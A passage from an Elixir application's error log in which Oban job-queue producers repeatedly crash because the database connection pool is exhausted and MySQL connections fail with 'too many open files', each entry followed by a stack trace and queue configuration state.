    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:37:10.239463Z], limit: 5, uuid: "ae08fdeb-e4b2-4b9f-b472-8ae18321c592", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:10.239468Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.81628>, refresh_timer: #Reference<0.2525715032.1121189889.81617>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:37:10.239582Z], limit: 20, uuid: "52408f9e-d5e6-40e9-8e1e-cf163094dc4b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:10.239587Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.81627>, refresh_timer: #Reference<0.2525715032.1121189889.81621>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:37:10.239779Z], limit: 3, uuid: "004a415c-baee-446b-af84-13e9e6341fc0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:10.239785Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230488>, refresh_timer: #Reference<0.2525715032.1068236804.230487>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:37:10.239995Z], limit: 5, uuid: "98f1db7c-6ad3-47ef-8f3c-e307bd428799", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:10.240001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230537>, refresh_timer: #Reference<0.2525715032.1068236804.230498>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:37:10.239755Z], limit: 50, uuid: "f1e74e79-9fe5-4160-95ec-402466624eee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:10.239760Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230490>, refresh_timer: #Reference<0.2525715032.1068236804.230489>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:37:10.241327Z], limit: 10, uuid: "ea00c688-329e-427d-8752-3cf3dae49a53", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:10.241333Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230538>, refresh_timer: #Reference<0.2525715032.1077411843.204009>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:24.043000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:29.778000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:30.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:31.971000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:32.944000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:33.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:33.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:37:22.240358Z], limit: 10, uuid: "131bdac7-ecb5-42fd-9d17-b2ec1070b505", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:22.240363Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.236382>, refresh_timer: #Reference<0.2525715032.1099169794.236375>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:37:22.239501Z], limit: 3, uuid: "09287c0f-844a-4dbe-820b-4809daa1845d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:22.239507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230911>, refresh_timer: #Reference<0.2525715032.1068236804.230877>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:37:22.239561Z], limit: 5, uuid: "c867b2df-e8d6-4fbf-bad0-ec7afdaeeadb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:22.239567Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230910>, refresh_timer: #Reference<0.2525715032.1068236804.230881>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

